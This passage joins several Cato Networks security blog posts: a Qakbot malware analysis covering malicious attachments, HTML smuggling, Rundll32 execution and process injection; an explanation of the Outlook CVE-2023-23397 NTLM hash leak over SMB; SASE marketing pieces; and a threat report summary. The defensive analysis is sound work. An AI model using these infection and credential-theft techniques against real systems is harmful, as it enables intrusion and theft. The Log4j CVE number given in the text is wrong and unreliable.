payload dll file is executed using Rundll32.exe, with the same purpose as in the previous scenario. Loaded onto the system successfully, Qakbot then hides itself by spawning a new process of wermgr.exe and injecting its code into it. Scenario 3: Malicious email with a Zip attachment bundling a .WSF (Windows Script File) file. In this variation, a malicious email with an infected WSF file is hidden within a Zip attachment designed to mimic an Adobe Cloud certificate. The Zip file often has a legitimate-looking name and is specifically designed to trick the user (victim) into thinking the attachment is safe and harmless. From the malicious email, the user (victim), is led to open the attachment and extract the files it bundles. Inside the Zip there are 3 files: .WSF, PDF and TXT. The PDF and TXT are decoy files, leading the user to click and open the .WSF file, initiating the infection chain.Typically, .WSF files contain a sequence of legitimate commands executed by Windows Script Host. In this case, the WSF file contains a script that executes the next stage of the Qakbot infection process. Obfuscated malicious JavaScript hidden inside the .WSF file padded to look like a certificate An obfuscated script (written in JavaScript), within the malicious .WSF file initiates force download of the payload from a Qakbot C2 server. The obfuscated script executes the Qakbot dll using Rundll32.exe. Loaded onto the system successfully, Qakbot moves to hide itself, spawning a new wermgr.exe process and injecting its code into it. Scenario 4: Malicious email with .html attachment using the HTML Smuggling techniqueHTML Smuggling is a technique that allows threat actors to smuggle malicious binary code into a system by cloaking the malicious binary within an innocuous looking .html attachment. From the malicious email, the user (victim), is led to open the innocuous looking .html attachment containing the hidden binary. In some cases, the .html file arrives within a ZIP archive file, adding an additional step to the complexity of the attack. Once opened, the .html file delivers a malicious, password-protected, .ZIP archive file stored within the code of the attachment. The file password is provided in the .html file. Malicious .html file – fooling the victim into opening the password-protected .ZIP file Inside, the .ZIP archive file, a malicious .img file is bundled.IMG are binary files that store raw disk images of floppy disks, hard drives, or optical discs. IMG and ISO files are commonly used legitimately to install large software. In the case of Qakbot, once the IMG file is loaded, it mounts itself as a drive and exposes its contents. The malicious .img file actually bundles several other files, including a .LNK (Windows shortcut file) file. Executing the .LNK file initiates the complex infection chain using the other files within the mounted .img file. During the infection chain, a malicious .WSF file is executed, invoking PowerShell to force download an encrypted payload (the Qakbot dll) from a remote Qakbot C2 server. PowerShell is a powerful scripting language built into Windows operating systems and is typically used for task automation. Request to download Qakbot’s dll from the C2 server using PowerShell The .WSF script then executes the Qakbot dll using Rundll32.exe. Loaded onto the system successfully, Qakbot moves to hide itself, spawning a new wermgr.exe process and injecting its code into it. Potential Damage After Qakbot infects a system, the malware evaluates and performs reconnaissance on the infected environment. If the environment is worthwhile, Qakbot downloads additional tools, such as Cobalt Strike or Brute Ratel frameworks. These frameworks are commercially used by Red Teams for penetration testing purposes. Unfortunately, leaked versions of many penetration testing frameworks have also found their way to the open market and are abused by threat actors. Using these tools, threat actors perform advanced post-exploitation actions, including privilege escalation, and lateral movement. Eventually, the greatest threat posed by Qakbot and similar families of malware is ransomware. In some of the most recent attacks, Qakbot has been observed delivering BlackBasta ransomware. BlackBasta is a notoriously effective ransomware variant, used to successfully attack many businesses throughout the US and Europe. BlackBasta uses the double extortion technique, where an attacker demands a ransom payment to restore the victim’s access to their own encrypted files and/or data and threatens to sell the user or organizational data on the Darknet if the ransom is not paid.  Cato Networks internal security team dashboard displays a suspected attempt to exfiltrate data How Cato Protects You Against Qakbot Qakbot, like other malware, is constantly evolving and being updated with new methods and attempts at infection and infiltration.

Cato Protects Against CVE-2023-23397 Exploits  A new critical vulnerability impacting Microsoft Outlook (CVE-2023-23397) was recently published by Microsoft. The CVE is particularly concerning as no user involvement is required by the exploit. Once a user receives a malicious calendar invite, the attacker can gain a user’s Active Directory credentials.   Microsoft has released a security update that can be found here. Cato Research strongly encourages updating all relevant systems as proof-of-concept exploits have already appeared online. Until all systems have been updated, Cato customers can rest easy. By default, any Cato-connected endpoint – remote user, site, or any other type of user – is protected from the attacks exploiting the CVE.   What is CVE-2023-23397 and How Does it Work?  CVE-2023-23397 is a critical vulnerability in the Outlook client. An attacker can craft a .MSG file as a e form of a calendar invite that triggers an authentication attempt over the SMB protocol to an attacker-controlled endpoint without any user interaction. (.MSG is the file format used to represent Outlook elements, such email messages, appointments, contacts, and tasks.)   In case the SMB authentication attempt is done using NTLM, the Outlook client will send the attacker a Net-NTLM hash along with the username and domain name. This enables an attacker to perform an offline dictionary-based attack on the hash. The result: revealing the user's password and username that can then be used to authenticate and attack exposed services that rely on active directory credentials.   [boxlink link="https://www.catonetworks.com/resources/cato-networks-sase-threat-research-report/"] Cato Networks SASE Threat Research Report H2/2022 | Download the Report [/boxlink] What is Cato’s Mitigation?   Right upon the exploitation disclosure, Cato’s Security Research team began investigating the CVE. Cato IPS does not inspect the Outlook .MSG elements as that would be out of scope for an IPS system. But the CVE does require an outbound SMB session to exfiltrate data and, by default, Cato’s firewall implements a deny rule, blocking outbound SMB traffic. Only SMB sessions terminating at known, trusted servers should be allowed.   Our team continues to review a dedicated IPS signature to be enforced globally for this threat. It will ensure that potential information leakage, such as the one presented by this CVE, is prevented regardless of their firewall configuration. With hybrid Active Directory setups that extend AD identities to the cloud and may utilize SMB, careful review of the data is required to avoid causing false positives introduced by legitimate usage. Further notice will be provided to Cato customers in forthcoming Release Notes.

Are You Trapped in the Upside-Down World of Networking and Security? Many enterprises today are exploring the benefits of Secure Access Service Edge (SASE). SASE is a modern networking and security solution for enterprises that converges SD-WAN and network security solutions like NGFW, IPS, and NGAM. SASE provides a single, unified and cloud-native network and security service that is adapted to current and future technology and business needs. Despite the availability and increasing of SASE, some enterprises still maintain legacy appliances for their networking and security needs. Such businesses are trapped in an upside-down world that operates in technology silos and requires countless IT resources to deploy, manage, and maintain.  In this blog post,  we will compare old-fashioned point solutions from the upside-down world to Cato’s modern SASE Cloud. We’ll examine the following five characteristics: Network Devices High Availability Security Updates The Hardware Refresh Cycle TLS Inspection To read more about each characteristic, you’re welcome to read the eBook SASE vs. the Upside Down World of Networking and Security this blog post is based on. Characteristic #1: Network Devices Let’s first compare network devices. Network devices are the physical appliances that enable connectivity and security in the network. Network Devices in the Upside-down World: Heavy duty High touch Difficult to maintain and monitor Logistical and supply chain issues  Complex installation Cato Socket in the SASE World: Lightweight Simple to use Modern UX No supply chain issues  Zero-touch deployment Characteristic #2: High Availability Next, let’s look at high availability. High availability is about ensuring the network is always accessible, regardless of outages, natural disasters, misconfigurations, or any other unforeseen event.  High Availability in the Upside-down World: Costly to buy redundant hardware Complex configurations  Scalability is limited to box capacity Requires hours of management and troubleshooting  Prone to configuration errors High Availability in SASE World: Cost-effective A frictionless process Rapid deployment  Multi-layered redundancy  Highly scalable Simplicity that reduces risk [boxlink link="https://www.catonetworks.com/resources/sase-vs-the-upside-down-world-of-networking-and-security/"] SASE vs. the Upside Down World of Networking and Security | Download the eBook [/boxlink] Characteristic #3: Security Updates No comparison would be complete without addressing security. With so many cyberthreats, security is an integral part of any enterprise  IT strategy. But IT’s task list is filled to the brim with multiple competing priorities. How can businesses ensure security tasks aren’t pushed to the bottom of the list?

The Value of Network Redundancy

The Value of Network Redundancy Corporate IT infrastructure has become crucial to the success of the modern business. Disruption in  the availability of corporate applications and services will impact employee productivity and business profitability. Companies are responsible for the resiliency of their own IT systems and this includes ensuring the constant availability of critical business applications for employees, customers, and partners. Network outages are possible; however, how rapidly the network recovers with minimal disruption to the business is what matters most. Network redundancy is designed to limit the risk of a network outage halting business operations. Building resiliency and redundancy into the corporate network enables an organization to rapidly recover and maintain operations. Impact of Network Redundancy Network redundancy is designed to ensure that no single point of failure exists within an organization’s network infrastructure. This benefits the modern business in numerous ways: Security: Network outages occur, and the impact can be measured in numerous ways, including the network security impact. Network outages caused by DDOS or other such attacks will have a significant impact on day-day business operations, affecting  branch and remote workers, thus impacting some of their enterprise security protection. Such incidents are also used to launch stealth attacks on critical business systems to further damage business operations.  Network redundancy improves security by providing alternate routes for impacted network traffic, thus reducing the chances of experiencing outages that place business resources and the network at risk. Performance: If an organization is dependent on a single network link or carrier, then its network performance is only as good as that carrier’s network. If the provider suffers an outage or degraded performance, so does the company. Network redundancy can enable an organization to optimize its use of multiple network carriers to avoid outages or degraded service. Reliability: The primary purpose of network redundancy is to eliminate single points of failure that can cause outages or degraded performance. Redundancy improves resiliency by limiting the potential impact if a system or service goes down. How Redundancy in Cato’s Architecture Works  The Cato SASE Cloud is composed of a global network of points of presence (PoPs) that are connected via multiple Tier-1 network providers. When traffic enters the Cato SASE Cloud, a PoP performs security inspection, applies all policies, and optimally routes the traffic to the PoP nearest its destination. The design of the Cato SASE Cloud provides multiple layers of redundancy to ensure consistent service availability. As a result, it is highly resilient against several types of failures, including: Carrier Outage: The Cato SASE Cloud was designed using multiple tier-1 carriers to connect its PoPs and provide reliable, high-performance network connectivity. If a carrier’s service begins to degrade, the PoPs will automatically detect this and failover to an alternate carrier to maintain optimal performance and availability. InterPoP Outage: The Cato SASE Cloud is composed of a network of PoPs in 75+ global locations. If a PoP experiences an outage, all services running inside this PoP will automatically failover to the nearest available PoP, and all traffic to that PoP will  automatically reroute to the nearest available PoP. Intra-PoP Outage: A PoP consists of a collection of Cato Single Pass Cloud Engines (SPACE) that powers the global, scalable, and highly resilient Cato SASE Cloud.  Multiple SPACE instances run inside of multiple high powered compute nodes inside each PoP. If one SPACE instance fails, it will failover to another instance within the same compute node. If a compute node fails, all SPACE instances will failover to another compute node inside the same PoP. Cato Sockets: Each Cato Socket has multiple WAN ports and can run in active/active/active mode. When deployed as redundant hardware, a socket’s traffic will failover to the redundant socket if it fails.  And, in the event the Cato SASE Cloud experiences an unlikely complete outage, , Cato sockets can provide direct WAN connectivity over the public Internet. Network outages can have a dramatic impact on an organization’s ability to conduct normal business. Cato’s network design protects against potentially catastrophic outages of the Cato SASE Cloud network. [boxlink link="https://www.catonetworks.com/resources/how-to-best-optimize-global-access-to-cloud-applications/"] How to Best Optimize Global Access to Cloud Applications | Download the eBook [/boxlink] The Advantage of Cato’s Network Redundancy Network redundancy is a significant consideration when comparing network options. Often, it was one of the main selling points for older network technologies like multi-protocol label switching (MPLS) and software-defined WAN (SD-WAN) solutions. MPLS, SD-WAN, and the Cato SASE Cloud all achieve network resiliency in different ways.  MPLS: MPLS is known for its middle-mile resiliency and redundancy since traffic flows through the MPLS provider’s internal systems. However, the cost of MPLS circuits often makes redundant circuits for last-mile coverage cost-prohibitive. SD-WAN: SD-WAN solutions are designed to optimally route traffic over the public Internet to provide improved performance and reliability at a fraction of the cost of MPLS. However, these solutions are limited by the performance and resiliency of the public Internet, making it challenging for them to meet the same SLAs as an MPLS solution. Cato SASE Cloud: The Cato SASE Cloud provides high middle-mile performance and resiliency via a global network of PoPs with built-in redundancy and traffic optimization, and connected via tier-1 carriers. Cato Sockets have multiple WAN ports in active/active/active mode, allowing customers to connect multiple last-mile service providers, allowing them to implement inexpensive last-mile redundancy. The Cato SASE Cloud offers better overall network resiliency than MPLS and SD-WAN, and it accomplishes this at a fraction of the price of MPLS. Improve Company Productivity and Security with Cato Corporate  networks are rapidly expanding and becoming more dynamic.

Integrated vs. Converged SASE: Which One Ensures an Optimal Security Posture? SASE (Secure Access Service Edge) is a new architecture that converges networking and security into cloud-native, globally available service offerings. Security inspection and policy enforcement is performed at the cloud edge, instead of backhauling all traffic to a centralized data center for inspection. This enables organizations to strengthen their security posture while ensuring high performance, scalability and a good user experience. Unfortunately, many vendors attempt to market loosely integrated products and partnerships as SASE. they find the fastest way to enter the SASE market is to virtualize existing hardware-based products and deploy them into public cloud providers (AWS, Azure, GCP). and then enhance them with additional capabilities. So, which approach is best? In this blog post we explore the two options, converged and integrated, and the differences between them. To learn more about which SASE vendor you should choose you can read the whitepaper this blog post is based on: “Integrated vs. Converged SASE: Why it Matters When Ensuring an Optimal Security Posture”. Why Do Some SASE Vendors Offer an Integrated SASE Solution? Integrating siloed point solutions is the fast track to entering the SASE market. But this type of solution is full of drawbacks. These include: Increased Complexity - Integrated solutions add management layers, which reduces agility. Integration does not  deliver the required SASE capabilities and requires more effort and risk from the customer. This is the opposite of what Gartner envisioned SASE to be. Poor Performance - SASE solutions that rely on integration can’t provide a single-pass architecture. Single Pass is critical for SASE’s promise of high performance because all engines process and simultaneously applies policies to traffic flows at the cloud edge.  Integrated solutions do not have this single-pass architecture, so they are vulnerable to higher latency issues. Limited Vendor Control - Some vendors with an incomplete SASE solution will partner with other technology vendors to build their offerings. This means each vendor only controls and supports their product, and customers subsequently are left with multiple security technologies to deploy and manage. Because of the numerous risks this creates, including security blind spots, customers will not enjoy the full promise of SASE. Security Gaps - Technology integration increases the chance of security events being ignored or overlooked. Because each product in an integrated architecture is configured to inspect certain activities within traffic flows, they view it in its own context. This leads to insufficient sharing of all necessary context, thus leaving networks exposed to security gaps.  Lack of Full Visibility - Integrated offerings tend to rely on multiple consoles and sources that prevent accurate correlation of network and security traffic flows and events. Because of this, customers do not have full visibility and context of these flows and will not have the same level of control that a converged SASE solution has. What are the Benefits of Converged SASE? Converged SASE is built from the ground up to deliver both security and networking capabilities. This benefits the customer in the following areas: Rapid Deployment - Integrated solutions have longer deployments since they have multiple consoles and multiple policies that require extensive manual effort from the customer and this risks policy mismatches or other errors during the deployment. A converged architecture, on the other hand, simplifies deployments with a single management application for configuration and a single policy for all customer sites.  This makes the deployment less complex, allowing quick and easy implementation. Decreased Overhead - Converged SASE provides a single management application for management and reporting that decreases administrative overhead and simplifies investigation and troubleshooting. Low Latency - A true single-pass architecture decreases latency by ensuring all security engines simultaneously inspects and applies policies on all traffic once at the cloud edge before forwarding on to its destination. Cloud-Native Possibilities - Solutions that are born in the cloud are purpose-built for scalability, agility, flexibility, resilience and global performance. This is unlike cloud-delivered solutions that are virtual machines based on appliance-based products that are deployed in public cloud provider data centers, No Hybrid or On-Premises Deployments - SASE was defined by Gartner as being delivered from a cloud-native platform. Vendors that offer hybrid or on-premises options are not cloud-native and customers should proceed with caution and remember the core requirements of SASE when considering those options.  [boxlink link="https://www.catonetworks.com/resources/integrated-vs-converged-sase-why-it-matters-when-ensuring-an-optimal-security-posture/"] Integrated vs. Converged SASE: Why it Matters When Ensuring an Optimal Security Posture | Download the White Paper [/boxlink] Integrated vs. Converged SASE Which type of solution is best for modern enterprises? Here are the main functionalities offered by each type of solution: Integrated SASE: SD-WAN from partners Multiple management consoles Require VM deployment Require tunnel configuration Hosted in the public cloud Separate authentication flows for security and access Require SIEM for network and security event correlation Hybrid deployment Networking, security and remote access products are separate Requires multiple products Different PoPs offer different capabilities Converged SASE: Native SD-WAN A single management application Full mesh connectivity Optional use of IPSEC tunnels Optional export to SIEM Better collaboration among converged technologies Holistic security protections All PoPs are fully capable There is consistent policy enforcement Which Vendor Should You Choose? There is are fundamental differences in SASE capabilities between an integrated and a converged platform. This includes their ability to eliminate MPLS, simplify and optimize remote access, enable easy cloud migration, and securing branch and mobile users. SASE solutions are designed to address numerous customer use cases and solve multiple problems, and it is important for customers to conduct a thorough evaluation of both approaches to ensure their chosen platform meets their current and future business and technology needs.  Read more about how to choose a SASE vendor from the whitepaper.

Cato Analyzes the Dominant Sources of Threats in 2H2022 Research Report We recently issued the Cato Networks SASE Threat Research Report, which highlights cyber threats and trends based on more than 1.3 trillion flows that passed through the Cato SASE Cloud network during the second half of 2022. The report highlights the most popular vulnerabilities that threat actors attempted to exploit, and the growing use of consumer applications that may present a risk to the enterprise. Cato Scans a Vast Trove of Data to Hunt for Threats  One of the first observations in the report was the sheer scale of our data repository. Cato’s convergence of networking and security provides unique visibility on a global scale into both legitimate enterprise network usage and the malicious activity aimed at enterprise networks. This includes hostile network scans, exploitation attempts, and malware communication to C&C servers.  Like many security vendors, we collect information from threat intelligence feeds and other security resources.  But as a networking provider, we’re also able enrich our understanding of security events with network flow data often unavailable to security professionals. During 2022, Cato’s data repository was fed by more than 2.1 trillion network flows traversing or our global private backbone or about a 20% growth in flows each quarter.   Security events, threats, and incidents also grew in proportion to the number of network flows. In the second half of 2022, the Cato Threat Hunting System (CTHS) detected 87 billion security events across the entire Cato Cloud. A security event is any network flow that triggers one of Cato’s many security controls.  [boxlink link="https://www.catonetworks.com/resources/eliminate-threat-intelligence-false-positives-with-sase/"] Eliminate Threat Intelligence False Positives with SASE | Download the eBook [/boxlink] CTHS is a natural extension of Cato Cloud security services. It is comprised of a set of algorithms and procedures developed by Cato Research Labs that dramatically reduces the time to detect threats across enterprise networks. CTHS is not only incredibly accurate but also requires no additional infrastructure on a customer’s network.  CTHS concluded there were 600,000 threats, or high-risk flows, based on machine learning and data correlation. Of these, 71,000 were actual incidents, or verified security threats.    Cato Identifies the Top Threats and Exploit Attempts on the Network  Over the years, Cato has been tracking the top threats on the network and the trends haven’t changed much. The top five threat types in the current research report are (1) Network Scan, at 31.2 billion events, (2) Reputation, at 4.7 billion events, (3) Policy Violation, at 1.3 billion events, (4) Web Application Attack, at 623 million events, and (5) Vulnerability Scan, with 482 million events.   Other types of threats worth noting include Remote Code Execution (92 million), Crypto Mining (56 million), and Malware (55 million). Remote Code Execution events and Malware events both increased over the previous reporting period, but Crypto Mining events decreased. This latter fact may be due to the recent decline in the cryptocurrency business itself following the collapse of the FTX exchange.  The most-used cloud apps in the reporting period were from Microsoft, Google, Apple, Amazon (AWS), and Meta (Facebook). Many consumer-oriented applications were also in use, including YouTube, TikTok, Spotify, Tor, Mega, and BitTorrent. The latter three apps are known to be used frequently for malicious activities and pose a potential risk to enterprise networks.  The Log4j vulnerability (CVE-2022-44228) is a relatively recent discovery that is estimated to have affected nearly a third of all web servers in the world. Thus, it’s no surprise that it continues to dominate exploitation attempts with 65 million events across the Cato Cloud network. What is surprising is that two older vulnerabilities continue to make the top five list for exploit attempts. One is CVE-2017-9841, a remote code execution bug from 2017, and the other is CVE-2009-2445, a 14-year old vulnerability affecting certain popular web servers.   Cato also tracks network flows associated with MITRE ATT&CK techniques. Network based scanning and remote system discovery lead the list with 22.6 billion flows and 17 billion flows, respectively. The top five most-used techniques targeting enterprises are Phishing, Phishing for Information, Scanning, Remote System Discovery, and Exploit Public-facing Application. Knowing which attack techniques are most often seen on the network can help organizations tighten their defenses where it is most needed.  For more detailed information, read the Cato Networks SASE Threat Research Report for the second half of 2022.

Unsolved Remote Access Challenges Continue to Propel SASE in 2023, Finds New Cato Survey Unsolved Remote Access Challenges Continue to Propel SASE in 2023, Finds New Cato Survey  By all accounts, 2023 is expected to see strong growth in the SASE market. Gartner has already predicted in The Top 5 Trends in Enterprise Networking and Why They Matter: A Gartner Trend Insight Report (subscription required) that by 2025, 50% of SD-WAN purchases will be part of a single vendor SASE offering, up from less than 10% in 2021. And in a recent audience poll at Gartner’s I&O Cloud conference, audience members were asked which of the five technologies were they most likely to invest in, 31% indicated SASE, making number two overall just behind Universal ZTNA (at 34%).   And Gartner isn’t the only one expecting SASE to perform well this year. Dell’Oro expects the SASE market to reach $8 billion in 2023. The drivers for this activity? The need for security everywhere particularly driven by hybrid work. “The internet is now a logical extension of the corporate network, and the need for security is as great as ever,” Dell’Oro Research Director Mauricio Sanchez told SDxCentral.   We couldn’t agree more. We just finished surveying more than 1661 IT leaders around 2023 SASE drivers for adoption. The survey gathered insight into their experiences with SASE and, for those who have not yet deployed SASE, the IT challenges confronting them moving forward.   What’s so striking when you look the data is the role remote access plays. More than half (51%) of respondents who have not yet adopted any kind SASE point to enabling remote access from anywhere as their number one challenge. The same is true for “Adopt zero trust security posture for all access.”   Why Remote Access VPNs Are Not the Answer for Hybrid Work   There are any number of reasons for why enterprises are looking at replacing legacy remote access solutions. “Traditional approaches anchored only to on-premises solutions at the corporate internet gateway no longer work in the new ‘anywhere, anytime, with any device’ environment that the pandemic accelerated, SDxCentral quoted Sanchez.”  [boxlink link="https://www.catonetworks.com/resources/have-it-the-old-way-or-enjoy-the-sase-way/"] Have it the Old Way or Enjoy the SASE Way | Download the White Paper [/boxlink] More specifically, legacy VPNs suffer from five key problems:   Scaling and capacity Issues. VPN servers have a limited amount of capacity, as more users connect, performance degrades, and the user experience suffers.  To increase VPN server capacity, IT must deploy new appliances or upgrade existing ones. Security and performance optimization challenges requires additional appliances to be purchased, deployed, and integrated, which only increases network complexity.  Lack of granular security controls. Generally, point solutions restrict access at the network-level. Once a user authenticates, they have network access to everything on the same subnet. This lack of granular security and visibility creates a significant risk and leaves gaps in network visibility.  Poor performance. All too often, remote users complain about their sluggishness of corporate application when access remotely. Part of that is an architecture issue, particularly when traffic needs to brought back to an inspection point, adding latency to the session. VPN traffic is also susceptible to the unpredictability and latency of Internet routing.   Rotten user experience. Remote users struggle with connecting using legacy VPN software. Too many parameters have to be configured to connect properly.  Where once this might have been tolerated by a small subset of remote users, it becomes a very different story when the entire workforce operates remotely.   Growing security risk. VPN infrastructure itself has all too frequently been the target of attack. A brief search in the MITRE CVE database for “VPN Server” shows 622 CVE records. VPN servers showed so many security vulnerabilities that CERT warned that many VPN devices were storing session cookies improperly.   It shouldn’t be surprising to learn, then, that when we asked IT leaders further down the SASE adoption curve as to what triggered their SASE transformation project, “remote access VPN refresh” was the most common response (46%)  SASE: The Answer to the Hybrid Work Challenge  SASE answers those challenges by enabling work to occur anywhere, securely and efficiently. As part of a SASE platform, remote access benefits from the scaling of a cloud-native architecture. There’s no need to add server resources to accommodate of users who suddenly need remote access. “Deployment was quick. In a matter of 30 minutes, we configured the Cato mobile solution with single-sign-on (SSO) based on our Azure AD,” says Edo Nakdimon, senior IT manager at Geosyntec Consultants, who had more than 1200 users configured for remote access in less than an hour with the Cato SASE Cloud.   Zero-trust is just part of the SSE pillar of a single-vendor SASE platform, giving IT granular control over remote user resource access. Security is improved by eliminating the VPN servers so frequently and object of attack. And remote user performance improves by inspecting traffic in the PoP right near the user’s location and then sending traffic out to other location across the SASE platform’s global optimized backbone not the unpredictable Internet.   No wonder those IT leaders who did adopt SASE, indicated they were able to address the remote access challenge. When asked, “As a SASE user what are the key benefits you got from SASE?” “Enable Remote Access from Anywhere” as the highest ranked benefit (57% of respondents) followed by “Adopt zero trust security posture for all access” at 47% of respondents.    All of which makes remote access a “quick win” for anyone looking to deploy SASE.

SASE in Manufacturing: Overcoming Security and Connectivity Challenges Industry 4.0 is revolutionizing the manufacturing industry as we are witnessing numerous innovative technologies such as AI, IoT, and Robotic Process Automation (RPA) helping manufacturers enhance their supply chain, logistics and production lines. While we see these operations evolving into smart factories, the industry still faces challenges that could adversely impact its ability to realize the full potential of Industry 4.0. Manufacturing Digital Transformation Challenges Digital Transformation introduces a number of challenges to the manufacturing industry. These include: Cybersecurity vulnerabilities - The manufacturing industry is especially vulnerable to cyberattacks. Legacy manufacturing systems were not designed to defend against modern-day cyber attacks. Their legacy architecture makes it difficult to remain current on software patches and fixes, and this exposes them to increased risk of security breaches.  Additionally, lacking proper visibility and control of all traffic flows makes it virtually impossible to have a rapid response and remediation of threats to the environment.  Lack of flexible, scalable and reliable architectures -  Manufacturers require a flexible, scalable and reliable architecture that can easily and cost-effectively scale as the business grows. This is something that MPLS does not provide because it cannot support the cloud evolution that the manufacturing industry is experiencing. Additionally, global expansion is a major challenge due to the cost and complexity of turning up new sites, especially in locations where MPLS is not easy for carriers to offer and support. And while some may deploy SD-WAN to overcome this, it is not suitable for global use cases, something the industry demands. Cloud Performance  - MPLS makes connecting directly to 3rd party SaaS applications impossible for 2 key reasons: MPLS is a point-to-point technology, whereas SaaS traffic flows between cloud providers, so it is not feasible for cloud use; and, SaaS apps like Microsoft 365, FactoryTalk, SAP and others, require high-performance internet access, and this is something MPLS does not provide. Complicated tool management - Maintaining and monitoring multiple MPLS connections, telecom vendors, and legacy tools is extremely complicated, frustrating and prone to errors. This becomes even more challenging when integrating technology from acquisitions. Global disconnect - Most manufacturers have global operations, with their HQ, production, engineering, suppliers and sales dispersed across the globe. All these users need secure, high-performance local, remote and global access to enable the business to run, which is hard to deliver over MPLS. [boxlink link="https://www.catonetworks.com/resources/firsthand-perspectives-from-5-manufacturing-it-leaders-about-their-sase-experience/"] Firsthand Perspectives from 5 Manufacturing IT Leaders about their SASE Experience | Download the eBook [/boxlink] The Solution to Manufacturing Challenges: SASE SASE (Secure Access Service Edge) is an innovative approach to networking and security that converges these technologies into a single, global, cloud-native service that enables enhanced security, consistent policy enforcement, and faster threat response times. With SASE, manufacturers can overcome the above mentioned challenges that plagues many factories during their digital transformation journey. To support this journey, manufacturers need a new solution: SASE. With SASE, enterprise networking and security technologies are converged into a single cloud-native software stack and delivered over a global backbone where all capabilities operate in unison. SASE allows manufacturers to reduce the risk of cybersecurity breaches while delivering reliable, low latency, global access to applications and systems. The following capabilities are crucial for SASE to deliver on its promise: A Single Network Architecture SASE, having its own global backbone, enables authorized users, locations, clouds and applications to reliably and consistently connect at anytime and from anywhere in the world. High Performance The SASE cloud enables IT teams to instantly scale, optimize and enhance the network according to business requirements, and this ensures reliable and predictable performance for applications and a rich experience for all users. Cloud Data Architecture SASE optimizes traffic and routes it along the best path to its destinateion based on WAN optimization and dynamic routing policies. This ensures low latency cloud access for all users. Baked-in Security SASE strengthens the security posture by providing all required security capabilities including Zero Trust Network Access (ZTNA), firewall-as-a-service (FWaaS), cloud-access security broker (CASB), DLP and secure web gateway (SWG). Holistic Protection ZTNA in SASE ensures only authenticated and authorized users and devices gain access to critical enterprise business applications. To further extend security protection and coverage, Managed Detection and Response (MDR) is also available. Consistent Access for Mobile Users and Suppliers All authorized users receive consistent access, performance, and security no matter where they are.  What’s Next for Manufacturers? SASE allows manufacturers to focus their time and resources on key business initiatives such as global expansion and enhancing factory operations instead of worrying about IT and security. This allows them to do what they do best, while maintaining peace of mind that their network and security needs are covered.  To learn more about SASE and manufacturing, listen to the podcast episode “How to implement SASE in manufacturing: A discussion with PlayPower”.

Security Convergence in the Cloud: Protect More, Worry Less Many organizations struggle with an array of security point products that create security gaps, alert overload, and inconsistent policy configuration and enforcement challenges. As a result, many companies realize the benefit of moving toward an enhanced security platform that combines multiple security technologies into a single solution. There are two approaches to achieve this: Integration: The security platform is built by connecting together several existing solutions to achieve the desired functionality. Convergence: The security platform is built from the ground up, with a single software stack that natively integrates all of the desired security functionality. Convergence and integration can both be used to build a security platform. However, the two approaches work very differently and produce different results. Where Security Integration Falls Short Integration is a common approach to building security platforms because a vendor may already have the required pieces in its product suite. By cobbling them together into a single offering, they build something that appears to solve the problems that companies face. However, security platforms developed via integration have several common flaws, including: Policy Mismatches: Individual security tools are designed to solve specific problems. By definition, policy mismatches can exist between these tools in an integrated security platform, so they may not work properly. Blind Spots: Individual security tools don’t view traffic flow in the same context, so a security incident captured by one tool may not trigger on another tool. Further, these tools do not effectively share a similar context of traffic flow. This causes coverage blind sports which leave organizations exposed and at risk for cyber attacks. Decreased Efficiency: Integrated security tools are built of solutions with a defined set of features. Cobbling multiple tools together may create inefficiencies where multiple tools perform the same function. False Alarms: Context is essential to differentiate between true threats and false positives. An array of tools that all look at threats independently and then share information may generate false positives that a holistic platform would not. Interoperability Challenges: Existing tools have different code bases and policy constructs that may create challenges when trying to integrate multiple tools. These challenges can impact security coverage, security enforcement consistency, and architecture scalability, just to name a few.   Integration can build an all-in-one security solution. However, these platforms are much more likely to have significant issues that won’t exist in a converged solution. Cloud-Native Convergence is the Key to Improved Security Cloud migration has a significant impact on corporate IT architecture and security. Cloud adoption increases the distribution and scalability of IT infrastructure and makes IT environments more complex. As a result, it is more difficult to secure these environments, especially when users are distributed as well. So, security convergence is essential for security teams to keep pace with their responsibilities. [boxlink link="https://www.catonetworks.com/resources/achieving-zero-trust-maturity-with-cato-sse-360/"] Achieving Zero Trust Maturity with Cato SSE 360 | Download the White Paper [/boxlink] As corporate IT architecture expands to the cloud, an on-prem, perimeter-focused security architecture no longer makes sense. Optimizing network performance without compromising security requires moving security to where users and IT assets are: The cloud. Corporate systems hosted in the cloud take advantage of cloud scalability, which also places strain on their security infrastructure. As a result, corporate security must be not only cloud-delivered but cloud-native. This allows security to scale with the growth of the business. Corporate environments are changing rapidly, and these changes make security more complex. Converged, cloud-native solutions are the key to improving the security of all aspects of an organization’s IT architecture. Security Convergence with Cato SSE 360 Cato has long been committed to improving security through cloud-native convergence. Cato’s SASE Cloud and SSE 360 are cloud-native solutions that offer a range of converged security functions, including Cloud Access Security Broker (CASB), Cloud Secure Web Gateway (SWG), Firewall-as-a-Service (FWaaS), Intrusion Prevention Systems (IPS), and Zero-Trust Network Access (ZTNA). Cato SSE 360’s converged security offers a range of benefits for organizations, including: Improved Security Collaboration: As a converged security solution, Cato SSE 360’s security functions were designed to operate collectively. This means better collaboration between security technologies, which leads to tighter security coverage and improved outcomes. Context Sharing: Different security technologies offer different insights for threat detection and classification. A converged security solution like Cato SSE 360 can share context more effectively because each technology has the same context, captured from the same traffic flow. This dramatically improves threat detection and response. Faster Threat Response: Security convergence improves the quality of security data and enables SOC analysts to investigate and respond to incidents from a single solution. As a result, they can more quickly identify and remediate potential threats. Reduced Blind Spots: Cato SSE 360 was designed as a single, converged security software stack from the beginning. This dramatically reduces blind spots when compared to solutions built from several integrated, standalone products. More Efficient Operations: A converged security solution is more efficient because it eliminates redundant technologies. Additionally, it makes security operations centers (SOCs) more efficient by providing fewer, higher-quality alerts and enabling SOC analysts to more efficiently analyze and respond to potential threats. 360-Degree Security Coverage: Cato SSE 360 offers 360-degree security visibility and coverage. Configurable Security: As a Security-as-a-Service (SECaaS) solution, Cato SSE 360 provides the right amount of security when an organization needs it.

